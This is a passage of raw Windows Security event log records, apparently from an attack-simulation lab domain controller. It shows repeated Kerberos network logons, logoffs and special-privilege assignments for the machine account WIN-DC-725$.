			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:48:31 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=249394
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xE1D6B

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:48:31 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=249393
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0xE1D6B
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B6CE28AD-513E-D291-9E71-4027479B73C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	2001:0:2851:782c:1810:3209:f5ff:fef1
	Source Port:		64229

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:48:31 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=249392
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xE1D6B

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:48:31 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=249391
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xE1D0A

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:48:31 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=249390
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0xE1D0A
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B6CE28AD-513E-D291-9E71-4027479B73C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	fe80::80c8:c9ac:2ea9:b5ba
	Source Port:		64228

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:48:31 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=249389
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xE1D0A

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:48:31 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=249388
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xE1CA4

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:48:31 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=249387
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0xE1CA4
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B6CE28AD-513E-D291-9E71-4027479B73C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	fe80::1810:3209:f5ff:fef1
	Source Port:		64227

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:48:31 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=249386
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xE1CA4

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:48:31 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=249385
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xE1C43

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:48:31 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=249384
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0xE1C43
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B6CE28AD-513E-D291-9E71-4027479B73C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	10.0.1.14
	Source Port:		64226

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:48:31 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=249383
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xE1C43

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:48:32 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=249406
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xE2374

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:48:32 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=249405
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0xE2374
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B6CE28AD-513E-D291-9E71-4027479B73C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	2001:0:2851:782c:1810:3209:f5ff:fef1
	Source Port:		64233

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:48:32 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=249404
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xE2374

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:48:32 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=249403
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xE2301

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:48:32 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=249402
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0xE2301
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B6CE28AD-513E-D291-9E71-4027479B73C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	fe80::80c8:c9ac:2ea9:b5ba
	Source Port:		64232

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:48:32 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=249401
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xE2301

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:48:32 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=249400
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xE2289

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:48:32 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=249399
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0xE2289
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B6CE28AD-513E-D291-9E71-4027479B73C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	fe80::1810:3209:f5ff:fef1
	Source Port:		64231

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:48:32 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=249398
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xE2289

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:48:32 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=249397
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xE2212

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:48:32 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=249396
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0xE2212
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B6CE28AD-513E-D291-9E71-4027479B73C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	10.0.1.14
	Source Port:		64230

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:48:32 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=249395
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xE2212

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:48:33 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=249418
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xE3E3A

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:48:33 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=249417
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0xE3E3A
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B6CE28AD-513E-D291-9E71-4027479B73C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	2001:0:2851:782c:1810:3209:f5ff:fef1
	Source Port:		64242

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:48:33 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=249416
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xE3E3A

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:48:33 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=249415
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xE3DD9

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:48:33 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=249414
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

